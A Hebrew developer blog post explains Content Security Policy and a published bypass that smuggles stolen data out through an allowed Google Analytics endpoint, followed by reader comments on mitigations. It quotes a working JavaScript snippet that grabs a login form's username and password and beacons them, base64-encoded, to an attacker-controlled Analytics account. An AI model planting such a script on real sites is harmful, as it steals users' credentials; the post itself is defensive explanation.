אינטרנט ישראל
  • ראשי
  • אודות רן בר-זיק ואינטרנט ישראל
  • ערוץ טלגרם
  • מסטודון
  • התחברו אלי בטוויטר
  • התחברו אלי בלינקדאין
  • ספר ג'אווהסקריפט
  • ראשי
  • אודות רן בר-זיק ואינטרנט ישראל
  • ערוץ טלגרם
  • מסטודון
  • התחברו אלי בטוויטר
  • התחברו אלי בלינקדאין
  • ספר ג'אווהסקריפט
ראשי » פיתוח אינטרנט » פתרונות ומאמרים על פיתוח אינטרנט » עקיפת הגנת CSP

עקיפת הגנת CSP

רן בר-זיק יולי 8, 2020 7:07 am 6 תגובות

אנחנו יכולים למנוע שליחת נתונים אל מחוץ לאתר שלנו, גם אם הותקפנו, על ידי מדיניות CSP. אבל יש דרך לעקוף את ה-CSP

כדאי תמיד להשאר מעודכנים! אם יש לכם טלגרם, בדקו את ערוץ הטלגרם של האתר שבו אני מעדכן על פוסטים חדשים 🙂 אם אתם רוצים ללמוד תכנות באופן מקיף ומסודר, הצטרפו לאלפי הלומדים בפרויקט "ללמוד ג'אווהסקריפט בעברית" שמלמד לתכנת בג'אווהסקריפט, ב-Node.js ובריאקט וגם מלמד על תרומה לקוד פתוח. גם ספרים דיגיטליים וגם ספרים מודפסים. בשיתוף הקריה האקדמית אונו ובתמיכת חברות מובילות כגון Wix, Outbrain, Elementor, Iron Source, Chegg, Really Good ועוד.

אחד מהמנגנונים החשובים ביותר כיום כנגד XSS הוא ה-CSP Header. למי שלא מכיר, למרות שחפרתי על זה לא מעט – מדובר ב-Content Security Policy וזה Header שניתן להכניס אותו באתרי אינטרנט ומונע בקשה של משאבים. כך למשל, אם יש באתר הדר שנראה כך:

Content-Security-Policy: script-src 'self', https://some-site.com

אז תגיות הסקריפט עם ה-src שבאים מהאתר some-site.com יעבדו והן בלבד.

<script src="https://some-site.com/some-script.js" />

אם תכניסו src עם שם מתחם אחר – הוא לא ייטען. תקבלו שגיאת CSP. אפשר לשים CSP בלא מעט מקומות.

למי שמעוניין – קצת לפני הקורונה הרציתי על Headers במיטאפ Negev Web Developers, מיטאפ מהמם שאני מקפיד להרצות בו כל שנה וינאי אדרי מארגן.

אבל חזרה ל-CSP:

למה זה חשוב? כי תוקפים שמצליחים בהתקפת XSS, לא שמים בד"כ alert אלא מושכים את הקוד הזדוני שלהם מאתר אחר. זה חוסך להם לא מעט, במיוחד בהתקפות reflected XSS אבל לא רק. אם אנחנו בולמים את משיכת הסקריפט, אנחנו מונעים דה פקטו (אך לא דה יורה) את משיכת הסקריפט ומגבילים את המתקפה.

עוד משהו שה-CSP עוזר בו הוא מניעת גניבת מידע או שיגור בקשות AJAX עם מידע לתוקף. תוקפים ממש אוהבים לעשות XSS על דף לוגין כדי לקחת סיסמה ושם משתמש או בדפי סליקה למיניהם. יישום CSP מאפשר לנו לעצור את הבקשות האלו. אם יש לי מדיניות CSP, אני לא אוכל לשגר בקשות אל evil.com למרות שהצלחתי להכניס סקריפט.

אבל לא מזמן נמצאה דרך ממש מעניינת ומגניבה לבצע עקיפה של ה-CSP ולגנוב מידע מהאתר למרות מדיניות CSP. אמיר שקד (ישראלי! יאי!) מחברת פרימטר X הוציא מחקר חדש שגם גרר פרסום בעולם על איך עוקפים CSP. כשקראתי את המחקר הזה רקדתי קצת משמחה כי זה היה ממש מעניין – אז חשבתי לשתף גם פה.

הוקטור מתבסס על זה שגם אתרים שמיישמים CSP בדרך כלל כוללים את Google Analytics במדיניות שלהם. למה? כי גוגל אנליטיקס נמצאת ברוב האתרים בעולם. כדי להוכיח את זה הוא דגם 3 מיליון דומיינים מובילים. רק רבע מיליון מתוכם יישמו CSP ורובם לא בלמו אף אתר. אלו שבלמו איפשרו את google-analytics.com. גם עבדכם הנאמן, כשהוא מיישם CSP בכל מיני אתרים, מפשיר את google-analytics.com.

מה זה אומר? זה אומר שסקריפט שמקורו ב-google-analytics.com או קורא ל-google-analytics.com עובר ב-CSP. שזה מעולה. אבל איך תוקף יכול לנצל כזה דבר?

ה-CSP מגביל את יעד הקריאות, אבל לא מגביל את הפרמטרים שאפשר לשלוח לקריאה. התוקף יכול בעצם לפתוח חשבון גוגל אנליטיקס משל עצמו ולשלוח לשם קריאה. טוב, את מי זה מעניין? יחד עם הקריאה הוא יכול לשלוח פרמטרים. איזה פרמטרים? איזה פרמטרים שבא לו. כל דבר שיש בקליינט.

הנה הדוגמה מהמאמר. סקריפט התקיפה שהוצב בטופס הלוגין של טוויטר, לוקח שם משתמש, לוקח סיסמה ואז שולח אותם אל google analytics. אבל ה-UA שבעצם אומרים לגוגל אנליטיקס למי לשלוח את הנתונים – הוא של התוקף!

username = document.getElementsByName("session[username_or_email]");
password = document.getElementsByName('session[password]');
window.addEventListener("unload", function logData() {
       navigator.sendBeacon("https://www.google-analytics.com/collect",
       'v=1&t=pageview&tid=UA-#######-#&cid=555&dh=perimeterx.com&dp=%2F'+
       btoa(username.item(0).value +':'+ password.item(0).value) +'&dt=homepage');
});

זה אומר שמה שהתוקף צריך לעשות זה לגשת לקונסול החיפוש שלו ולהסתכל על הפרמטרים שמגיעים. והנה מידע שמגיע לתוקף למרות מדיניות CSP מחמירה. דרך הצינור של Google Analytics.

התקיפה הכי מוכרת של XSS היתה של Magecart על בריטיש איירוויז. בה השתמשו לגנוב פריטי אשראי. מדיניות CSP היתה מונעת את שיגור הפרטים אל התוקף. אבל כאן יש מעקף מאוד נאה שמראה איך תוקף יכול לשגר את המידע. ומסתבר שיש כבר מי שמנצל את זה.

כמובן שאפשר לקחת את זה לא רק לגוגל אלא לכל שירות שהוא. לא חסרים שירותי אנליטיקות וסטטיסטיקות שמקבלות פרמטרים.

האם צריך לבטל את ה-CSP? לא. למרות וקטור התקיפה האולטרא מגניב הזה – עדיין עדיף פי אלף אתר עם CSP מאשר אתר בלי. עד לפחות שיאפשרו CSP שעושה גם סינון לפרמטרים שנשלחים (למשל לאפשר רק פרמטר tid עם UID ספציפי).

כדאי תמיד להשאר מעודכנים! אם יש לכם טלגרם, בדקו את ערוץ הטלגרם של האתר שבו אני מעדכן על פוסטים חדשים 🙂 אם אתם רוצים ללמוד תכנות באופן מקיף ומסודר, הצטרפו לאלפי הלומדים בפרויקט "ללמוד ג'אווהסקריפט בעברית" שמלמד לתכנת בג'אווהסקריפט, ב-Node.js ובריאקט וגם מלמד על תרומה לקוד פתוח. גם ספרים דיגיטליים וגם ספרים מודפסים. בשיתוף הקריה האקדמית אונו ובתמיכת חברות מובילות כגון Wix, Outbrain, Elementor, Iron Source, Chegg, Really Good ועוד.
JavaScript אבטחת מידע

6 תגובות

  1. שרון הגב יולי 8, 2020 בשעה 11:23 am

    אבל כדי לבצע תקיפה כזו צריך גישה לקוד של האתר הרי, לא?

    • אבישי הגב יולי 8, 2020 בשעה 11:55 am

      ההגנה מבוססת על כמה שכבות. ואם במקרה מתגלה חולשת xss (המאפשרת לשתול קוד זדוני באתר) רן מסביר שהשכבה שמאחוריה csp גם חדירה לחלוטין.

  2. חזי הגב יולי 8, 2020 בשעה 11:52 am

    לשרון , כן , אבל דרך פירצת XSS אפשר לשתול קוד באתר שהגולש יקבל.

    ה CSP לא ימנע את ה XSS אבל יגביל אותו מאד או בכלל.

  3. ינאי הגב יולי 8, 2020 בשעה 5:33 pm

    תמיד שמחים לארח אותך… מחכים לפעם הבאה 🥰

  4. נועם הגב יולי 9, 2020 בשעה 1:09 pm

    בפועל אפשר לעשות פרוקסי לgoogle analytics שימנע נגיעה בפרמטרין.

  5. משתמש אנונימי (לא מזוהה) הגב יולי 9, 2020 בשעה 11:11 pm

    נכון, אבל אף אחד לא עושה את זה.

השארת תגובה

ביטול

ללמוד ג'אווהסקריפט בעברית

ללמוד לתכנת ג'אווהסקריפט בעברית שגייס יותר משלוש מאות אלף שקל ולמעלה מ-2000 תומכים - בואו ללמוד עכשיו איך לתכנת.

רשימת הנושאים
  • מדריכים
    • ריאקט
    • טייפסקריפט
    • ECMAScript 6
    • ES20XX
    • Node.js
    • Express
    • רספברי פיי
    • Babel
    • docker
    • MongoDB
    • Git
    • לימוד MySQL
    • SASS
    • jQuery
    • CSS3
    • HTML 5
    • SVN
    • LESS
  • פיתוח אינטרנט
    • פתרונות ומאמרים על פיתוח אינטרנט
    • jQuery Scripts
    • jQuery למתקדמים
    • יסודות בתכנות
    • נגישות אינטרנט
  • חדשות אינטרנט
  • מידע כללי על אינטרנט
    • רשת האינטרנט
    • בניית אתרי אינטרנט
  • rss logo

    לכל המאמרים

    לכל המאמרים שפורסמו באינטרנט ישראל משנת 2008 ועד עכשיו.
  • rss logo

    RSS Feed

    משתמשים בקורא RSS? אם כן, עקבו אחרי אינטרנט ישראל באמצעות פיד ה-RSS!
    מה זה RSS?
  • Twitter logo

    עקבו אחרי בטוויטר

    בחשבון הטוויטר שלי אני מפרסם עדכונים מהירים על חדשות בתחום התכנות והיזמות, התרעות על מצבי חירום ורכילות בוערת על תחום הווב.
    מה זה טוויטר?
  • facebook like image

    ערוץ הטלגרם של אינטרנט ישראל

    בערוץ הטלגרם של אינטרנט ישראל אני מפרסם את הפוסטים של באתר וכן עדכונים טכנולוגיים נוספים.
    מה זה טלגרם?
  • github logo

    הפרויקטים שלי בגיטהאב

    הפרויקטים שאני כותב ושוחררו לציבור ברישיון קוד פתוח נמצאים ברובם בגיטהאב.
חיפוש

כל הזכויות שמורות לרן בר-זיק ולאינטרנט ישראל | מדיניות הפרטיות של אתר אינטרנט ישראל | אתר אינטרנט ישראל נגיש לפי תקן WCAG 2.0 AA | הצהרת הנגישות של האתר | אבטחת מידע ודיווח על בעיית אבטחת מידע

גלילה לראש העמוד